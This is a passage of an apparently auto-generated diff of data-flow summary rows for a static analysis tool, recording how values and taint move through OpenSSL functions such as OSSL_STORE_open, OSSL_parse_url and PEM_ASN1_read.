"OSSL_STORE_INFO_get1_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get_type", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[**1]", "ReturnValue[*].Field[*_].Union[***(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[*1]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[1]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CERT", "(X509 *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CERT", "(X509 *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CRL", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CRL", "(X509_CRL *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PARAMS", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PARAMS", "(EVP_PKEY *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PKEY", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PKEY", "(EVP_PKEY *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PUBKEY", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PUBKEY", "(EVP_PKEY *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_type_string", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_description", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_description", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_engine", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_engine", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_properties", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**propdef]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_properties", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*propdef]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_provider", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_provider", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_scheme", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**scheme]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_scheme", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*scheme]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_names_do_all", "(const OSSL_STORE_LOADER *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**engine]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**scheme]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*scheme]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_attach", "(OSSL_STORE_LOADER *,OSSL_STORE_attach_fn)", "", "Argument[1]", "Argument[*0].Field[*attach]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_close", "(OSSL_STORE_LOADER *,OSSL_STORE_close_fn)", "", "Argument[1]", "Argument[*0].Field[*closefn]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_ctrl", "(OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn)", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_eof", "(OSSL_STORE_LOADER *,OSSL_STORE_eof_fn)", "", "Argument[1]", "Argument[*0].Field[*eof]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_error", "(OSSL_STORE_LOADER *,OSSL_STORE_error_fn)", "", "Argument[1]", "Argument[*0].Field[*error]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_expect", "(OSSL_STORE_LOADER *,OSSL_STORE_expect_fn)", "", "Argument[1]", "Argument[*0].Field[*expect]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_find", "(OSSL_STORE_LOADER *,OSSL_STORE_find_fn)", "", "Argument[1]", "Argument[*0].Field[*find]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_load", "(OSSL_STORE_LOADER *,OSSL_STORE_load_fn)", "", "Argument[1]", "Argument[*0].Field[*load]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_open", "(OSSL_STORE_LOADER *,OSSL_STORE_open_fn)", "", "Argument[1]", "Argument[*0].Field[*open]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_open_ex", "(OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn)", "", "Argument[1]", "Argument[*0].Field[*open_ex]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_alias", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_alias", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[*string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue[*].Field[**serial]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[0]", "ReturnValue[*].Field[*name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[1]", "ReturnValue[*].Field[*serial]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**digest]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[*1]", "ReturnValue[*].Field[**string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*stringlength]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_name", "(X509_NAME *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_name", "(X509_NAME *)", "", "Argument[0]", "ReturnValue[*].Field[*name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_bytes", "(const OSSL_STORE_SEARCH *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_bytes", "(const OSSL_STORE_SEARCH *,size_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_bytes", "(const OSSL_STORE_SEARCH *,size_t *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_digest", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**digest]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_digest", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*digest]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_name", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_name", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_serial", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**serial]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_serial", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*serial]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_string", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**string]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_string", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get_type", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*search_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[**8]", "ReturnValue[*].Field[***post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*8]", "ReturnValue[*].Field[**post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[7]", "ReturnValue[*].Field[*post_process]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[8]", "ReturnValue[*].Field[*post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_do_all_loaders", "(..(*)(..),void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_error", "(OSSL_STORE_CTX *)", "", "Argument[*0].Field[*error_flag]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_expect", "(OSSL_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*expected_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_load", "(OSSL_STORE_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_load", "(OSSL_STORE_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[**4]", "ReturnValue[*].Field[***post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*4]", "ReturnValue[*].Field[**post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[3]", "ReturnValue[*].Field[*post_process]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[4]", "ReturnValue[*].Field[*post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[**7]", "ReturnValue[*].Field[***post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*2]", "ReturnValue[*].Field[**properties]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*7]", "ReturnValue[*].Field[**post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[2]", "ReturnValue[*].Field[**properties]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[6]", "ReturnValue[*].Field[*post_process]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[7]", "ReturnValue[*].Field[*post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_vctrl", "(OSSL_STORE_CTX *,int,va_list)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_TARGETING_INFORMATION_free", "(OSSL_TARGETING_INFORMATION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGETING_INFORMATION_free", "(OSSL_TARGETING_INFORMATION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGETS_free", "(OSSL_TARGETS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGETS_free", "(OSSL_TARGETS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGET_free", "(OSSL_TARGET *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGET_free", "(OSSL_TARGET *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_PERIOD_free", "(OSSL_TIME_PERIOD *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_PERIOD_free", "(OSSL_TIME_PERIOD *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_ABSOLUTE_free", "(OSSL_TIME_SPEC_ABSOLUTE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_ABSOLUTE_free", "(OSSL_TIME_SPEC_ABSOLUTE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_DAY_free", "(OSSL_TIME_SPEC_DAY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_DAY_free", "(OSSL_TIME_SPEC_DAY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_MONTH_free", "(OSSL_TIME_SPEC_MONTH *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_MONTH_free", "(OSSL_TIME_SPEC_MONTH *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_TIME_free", "(OSSL_TIME_SPEC_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_TIME_free", "(OSSL_TIME_SPEC_TIME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_WEEKS_free", "(OSSL_TIME_SPEC_WEEKS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_WEEKS_free", "(OSSL_TIME_SPEC_WEEKS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_X_DAY_OF_free", "(OSSL_TIME_SPEC_X_DAY_OF *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_X_DAY_OF_free", "(OSSL_TIME_SPEC_X_DAY_OF *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_free", "(OSSL_TIME_SPEC *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_free", "(OSSL_TIME_SPEC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_USER_NOTICE_SYNTAX_free", "(OSSL_USER_NOTICE_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_USER_NOTICE_SYNTAX_free", "(OSSL_USER_NOTICE_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_get_max_threads", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**7]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**8]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_trace_get_category_name", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_trace_get_category_name", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OTHERNAME_cmp", "(OTHERNAME *,OTHERNAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OTHERNAME_cmp", "(OTHERNAME *,OTHERNAME *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OTHERNAME_free", "(OTHERNAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OTHERNAME_free", "(OTHERNAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBE2PARAM_free", "(PBE2PARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBE2PARAM_free", "(PBE2PARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBEPARAM_free", "(PBEPARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBEPARAM_free", "(PBEPARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBKDF2PARAM_free", "(PBKDF2PARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBKDF2PARAM_free", "(PBKDF2PARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBMAC1PARAM_free", "(PBMAC1PARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBMAC1PARAM_free", "(PBMAC1PARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*5]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*5]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void 